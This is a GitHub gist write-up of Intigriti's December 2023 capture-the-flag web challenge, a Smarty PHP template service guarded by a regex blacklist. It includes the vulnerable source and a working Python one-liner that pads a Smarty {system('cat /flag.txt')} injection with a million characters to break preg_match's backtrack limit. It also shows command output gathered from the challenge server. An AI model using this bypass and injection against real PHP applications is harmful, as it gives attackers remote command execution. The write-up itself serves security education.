Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Created December 15, 2023 22:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Siss3l/f2d2da950ec30c1b0e621611ef660318 to your computer and use it in GitHub Desktop.
Save Siss3l/f2d2da950ec30c1b0e621611ef660318 to your computer and use it in GitHub Desktop.
Intigriti's December 2023 Web Challenge thanks to @meme-lord

Intigriti December Challenge

  • Category:   Web
  • Impact:       Medium
  • Solves:        13

Challenge

Description

Find the flag.txt file.

The solution:

  • Should retrieve the flag.txt from the web server;
  • Should not use another challenge on the intigriti.io domain;
  • The flag format is INTIGRITI{.*}.

Overview

Skipping the November challenge since there was the 1337UP CTF so for this December month, we have a web challenge page that allows us to submit data:

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Smarty Pants</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
  </head>
  <body class="container mt-4">
    <div class="alert alert-danger" role="alert"><strong>ERROR:</strong> Malicious Inputs Detected</div>
    <p>You want the flag?</p>
    <p>You must beat my regex filter first <code>/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s</code></p>
    <p>Smarty Version: 4.3.4</p>
    <form method="post">
      <div class="mb-3">
        <label for="data" class="form-label">Template:</label>
        <textarea class="form-control" rows="6" id="data" name="data"></textarea>
      </div>
      <button type="submit" class="btn btn-primary">Submit</button>
    </form>
    <p><a href="/challenge.php?source">view source</a></p>
  </body>
</html>

We also have access to the challenge's php source code link:

<?php
if (isset($_GET["source"])) {
    highlight_file(__FILE__);
    die();
}

require("/var/www/vendor/smarty/smarty/libs/Smarty.class.php");

$smarty = new Smarty();
$smarty->setTemplateDir("/tmp/smarty/templates");
$smarty->setCompileDir("/tmp/smarty/templates_c");
$smarty->setCacheDir("/tmp/smarty/cache");
$smarty->setConfigDir("/tmp/smarty/configs");
$pattern = "/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s";

if (!isset($_POST["data"])) {
    $smarty->assign("pattern", $pattern);
    $smarty->display("index.tpl");
    exit();
}

function check_data($data) { // returns true if data is malicious
    global $pattern;
    return preg_match($pattern, $data);
}

if (check_data($_POST["data"])) {
    $smarty->assign("pattern", $pattern);
    $smarty->assign("error", "Malicious Inputs Detected");
    $smarty->display("index.tpl");
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST["data"]);
fclose($handle);
$just_file = end(explode("/", $tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

Solution

During the 1337UP CTF identical Smarty PHP challenge, a patched /s was missing at the end of the regular expression allowing newline brace brackets usage:

You must beat my regex filter first /(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/

Therefore, we don't have to look hard to finish it in a funny way.

Since the updated code uses the preg_match function to perform a blacklist check and that the used PREG_BACKTRACK_LIMIT value is set to 1 million by default to prevent Denial-of-Service via Regular Expression,
We can still exhaust this Perl Compatible Regular Expressions limit to make preg_match returns false in order to execute any command we want.

Here a Python oneliner to get the /flag.txt INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!} value:

python -c"print(__import__('requests').post('http://challenge-1223.intigriti.io/challenge.php',{'data':'{system(\'cat /flag.txt\')}'+'A'*int(1e6)}).text[:44])"

There was other interesting data on the challenge machine:

# $ uname -a
"Linux challenge-1223-8569d484bf-cmrw5 5.15.0-1037-gke #42-Ubuntu SMP Thu Jun 22 03:18:20 UTC 2023 x86_64 GNU/Linux"
# $ ls -lna /
total 76
drwxr-xr-x 1 0 0 4096 Dec 14 13:58 .
drwxr-xr-x 1 0 0 4096 Dec 14 13:58 ..
drwxr-xr-x 1 0 0 4096 Nov 15 2022 bin
drwxr-xr-x 2 0 0 4096 Sep 3  2022 boot
drwxr-xr-x 5 0 0 360  Dec 14 13:58 dev
drwxr-xr-x 1 0 0 4096 Dec 14 13:58 etc
drwxr-xr-x 2 0 0 4096 Sep 3  2022 home
drwxr-xr-x 1 0 0 4096 Nov 15 2022 lib
drwxr-xr-x 2 0 0 4096 Nov 14 2022 lib64
drwxr-xr-x 2 0 0 4096 Nov 14 2022 media
drwxr-xr-x 2 0 0 4096 Nov 14 2022 mnt
drwxr-xr-x 2 0 0 4096 Nov 14 2022 opt
drwxr-xr-x 1 0 0 4096 Nov 14 2022 usr
drwxr-xr-x 1 0 0 4096 Nov 15 2022 var
drwxr-xr-x 1 0 0 4096 Nov 15 2022 sbin
drwxr-xr-x 2 0 0 4096 Nov 14 2022 srv
dr-xr-xr-x 260 0 0 0  Dec 14 13:58 proc
dr-xr-xr-x 13 0 0 0   Dec 14 13:57 sys
drwx------ 1 0 0 4096 Dec 14 13:57 root
-rw-r--r-- 1 0 0 44   Dec 14 13:56 flag.txt
-rw-r--r-- 1 0 0 235  Dec 14 13:56 start.sh
drwxrwxrwt 5 0 0 120  Dec 15 20:11 run
drwxrwxrwt 5 0 0 120  Dec 15 20:11 tmp
# $ ls -lna /var/www/html/
total 24
drwxrwxrwx 1 33 33 4096 Dec 14 13:58 .
drwxr-xr-x 1 0 0   4096 Dec 14 13:57 ..
drwxr-xr-x 2 0 0   4096 Dec 14 13:57 resources
-rw-r--r-- 1 0 0   1097 Dec 14 13:56 challenge.php
-rw-r--r-- 1 0 0   3311 Dec 14 13:56 index.php
# $ cat /start.sh
mkdir -p /tmp/smarty/templates /tmp/smarty/templates_c /tmp/smarty/cache /tmp/smarty/configs
chmod 777 /tmp/smarty/templates /tmp/smarty/templates_c /tmp/smarty/cache
mv /var/www/html/index.tpl /tmp/smarty/templates/
apache2-foregroundapache2-foreground

Defense

Prefer the filtering if matches to validate data than to reject them, with better (limit) restrictions.

Ending

It was nice to review a nice trick!

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment